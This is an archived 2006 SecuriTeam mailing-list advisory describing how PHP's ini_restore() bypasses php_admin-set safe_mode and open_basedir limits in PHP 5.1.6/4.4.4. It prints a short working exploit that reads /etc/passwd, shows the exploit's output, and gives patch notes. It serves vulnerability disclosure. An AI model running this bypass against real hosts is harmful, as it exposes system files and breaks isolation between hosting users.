

# [UNIX] PHP 5.1.6 / 4.4.4 Critical php\_admin\* Bypass by ini\_restore()

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-09/msg00004.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 10 Sep 2006 14:17:08 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

PHP 5.1.6 / 4.4.4 Critical php\_admin\* Bypass by ini\_restore()  
-----

## SUMMARY

"PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly".

There is a privilege escalation vulnerability in PHP.

## DETAILS

Vulnerable Systems:

\* PHP 5.1.6 / 4.4.4

Description:

PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig S ther Bakken can be found at

## [UNIX] PHP 5.1.6 / 4.4.4 Critical php\_admin\* Bypass by ini\_restore()

<<http://www.zend.com/zend/art/intro.php>>

<http://www.zend.com/zend/art/intro.php> on the Zend website. Also, much of the PHP Conference Material is freely available.

php\_admin\_value name value

Sets the value of the specified directive. This can not be used in htaccess files. Any directive type set with php\_admin\_value can not be overridden by .htaccess or virtualhost directives. To clear a previously set value use none as the value.

php\_admin\_flag name on|off

Used to set a boolean configuration directive. This can not be used in htaccess files. Any directive type set with php\_admin\_flag can not be overridden by .htaccess or virtualhost directives.

<<http://pl.php.net/manual/en/configuration.changes.php>>

<http://pl.php.net/manual/en/configuration.changes.php>

### 1. php\_admin\_value and php\_admin\_flag Bypass

When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. httpd.conf).

This options are using by a lot of ISP to set open\_basedir, safe\_mode and more options.

For example:

open\_basedir in httpd.conf

```
<Directory /usr/home/frajer/public_html/>
```

```
Options FollowSymLinks MultiViews Indexes
```

```
AllowOverride None
```

```
php_admin_flag safe_mode 1
```

```
php_admin_value open_basedir /usr/home/frajer/public_html/
```

```
</Directory>
```

In PHP are two config options. Are Local Value and Master Value. More in phpinfo() or ini\_get()

Example:

If you have safe\_mode or open\_basedir (etc) set in Local Value for selected users and in Master Value is default value, you can restore Master Value to Local Value per ini\_restore() function!

ini\_restore

(PHP 4, PHP 5)

ini\_restore -- Restores the value of a configuration option

Restores the value of a php.ini file. Then your PHP options from httpd.conf are bypassed.

Exploit:

```
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
```

Exploit results::

```
/usr/home/frajer/public_html/
Warning: include() [function.include]: open_basedir restriction in effect.
File(/etc/passwd) is not within the allowed path(s):
(/usr/home/frajer/public_html/) in
/usr/home/frajer/public_html/ini_restore.php on line 4
```

```
Warning: include(/etc/passwd) [function.include]: failed to open stream:
Operation not permitted in
/usr/home/frajer/public_html/ini_restore.php on line 4
```

```
Warning: include() [function.include]: Failed opening '/etc/passwd' for
inclusion (include_path='.:') in
/usr/home/frajer/public_html/ini_restore.php on line 4
# $BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ #
root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-ag.....
```

This issue is very dangerous, because Admin can't correct set open\_basedir or safe\_mode for all users.

Patch Availability:

Fixed in CVS HEAD, PHP\_5\_2, PHP\_5\_1 and PHP\_4\_4.

<http://cvs.php.net/viewcvs.cgi/php-src/NEWS>

<http://cvs.php.net/viewcvs.cgi/php-src/NEWS>

## ADDITIONAL INFORMATION

The information has been provided by <mailto:max@xxxxxxxxxxxxx>  
Maksymilian Arciemowicz.

The original advisory can be found here:

[http://securityreason.com/achievement\\_securityalert/42](http://securityreason.com/achievement_securityalert/42)

[http://securityreason.com/achievement\\_securityalert/42](http://securityreason.com/achievement_securityalert/42).

[UNIX] PHP 5.1.6 / 4.4.4 Critical php\_admin\* Bypass by ini\_restore()

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.